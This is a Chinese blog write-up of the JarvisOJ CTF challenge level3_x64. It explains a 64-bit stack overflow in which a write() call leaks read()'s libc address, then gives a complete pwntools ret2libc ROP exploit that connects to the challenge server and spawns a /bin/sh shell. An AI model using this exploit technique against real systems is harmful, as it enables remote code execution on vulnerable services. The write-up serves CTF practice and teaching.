[JarvisOj](pwn)level3_x64


简介 :

项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
下载地址 : https://dn.jarvisoj.com/challengefiles/level3_x64.rar.8e639c3daf929853a1bc654d79c7992c```

---
####地址 : 

nc pwn2.jarvisoj.com 9883


---
####分析 : 

该题和 level3 的代码相比 :

  1. 少了在 read() 函数之前调用 write() 函数
  2. 64 位函数调用需要使用寄存器传参
    我们可以利用 read() 函数先溢出修改返回地址到 .plt 表中的 write() 函数
    这样我们就可以通过构造 write() 函数的调用栈来打印出 got 表中 read() 或者 write() 函数的地址
    那么我们知道了地址 , 就可以通过 libc 来寻找到 system() 函数的偏移地址了
    然后再构造 sytem() 的调用栈
    但是这里存在一个问题 :
    当我们想要构造 write() 函数的调用栈的时候 , 参数的传递需要通过寄存器传参的方式进行
    也就是说要调用 write(0, read_got, 0x08)
    我们需要将 :
    rdi 设置为 0
    rsi 设置为 read() 函数在 got 表中的地址
    rdx 设置为 0x08
    我们来通过 ropper 来寻找一下 pop rdi; ret 指令 , 发现可以成功在可执行程序中找到
    pop rsi; ret 也可以顺利找到
    但是 pop rdx; ret 却找不到 , 这个时候应该怎么办呢 ?
    如果我们不设置 rdx寄存器的值的话 , 那在 write() 调用的时候就会直接取得 rdx 之前的值
    我们可以考虑一下 , 我们这里只需要获取 write() 返回的前八个字节作为地址
    那么就算打印的数据较多 , 也并不会影响什么 , 只需要能保证 rdx 寄存器的值大于 8 即可
    经过调试发现这里 rdx 的值确实是大于 8 的 , 这样我们就只需要接收前八个字节作为地址即可
    这样就 leak 出了 libc 中 read 函数的真实地址 , 接下来就比较常规了
    system 只需要传递一个参数 , 直接使用之前的 pop rdi 即可

---
####利用代码 : 
```python
#!/usr/bin/env python
# encoding:utf-8

from pwn import *

#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " read@"
#   883: 00000000000eb6a0    90 FUNC    WEAK   DEFAULT   12 read@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " system@"
#  1337: 0000000000046590    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ readelf -a libc-2.19.so | grep " exit@"
#   126: 000000000003c1e0    21 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.2.5
#sun@ubuntu:~/pwnme/lessons/jarvisoj/9$ strings -a -t x libc-2.19.so | grep "/bin/sh"
# 17c8c3 /bin/sh

read_libc_address = 0xeb6a0
bin_sh_libc_address = 0x17c8c3
system_libc_address = 0x46590
exit_libc_address = 0x3c1e0

payload = "A" * 0x80 + "BBBBBBBB"
payload += p64(0x4006b3) # pop rdi;ret
payload += p64(0x01) # stdin; 1st argv for write()
payload += p64(0x4006b1) # pop rsi;ret
payload += p64(0x600A60) # .got.plt read(); 2nd argv for write()
payload += p64(0) # junk
# I assuming that rbx is bigger than 8 , and in fact it is so.
#payload += p64(0x1b92) # pop rdx;ret
#payload += p64(0x10) # write 4 bytes; 3rd argv for write()
payload += p64(0x4004B0) # write() .plt
payload += p64(0x4005E6) # vulnerable_function()

Io = remote("pwn2.jarvisoj.com", 9883)
# Io = process("./level3_x64")
Io.recvuntil("Input:\n")

Io.send(payload)

temp = Io.recv(8)

read_address = u64(temp[0:8]) 
offset = read_address - read_libc_address

bin_sh_address = offset + bin_sh_libc_address
system_address = offset + system_libc_address
exit_address = offset + exit_libc_address

payload = "A" * 0x80 + "BBBBBBBB"
payload += p64(0x4006b3) # pop rdi;ret
payload += p64(bin_sh_address) # /bin/sh ; argv for system()
payload += p64(system_address) # address of system()
payload += p64(exit_address)

Io.send(payload)

Io.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,117评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,328评论 1 293
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,839评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,007评论 0 206
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,384评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,629评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,880评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,593评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,313评论 1 243
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,575评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,066评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,392评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,052评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,082评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,844评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,662评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,575评论 2 270

推荐阅读更多精彩内容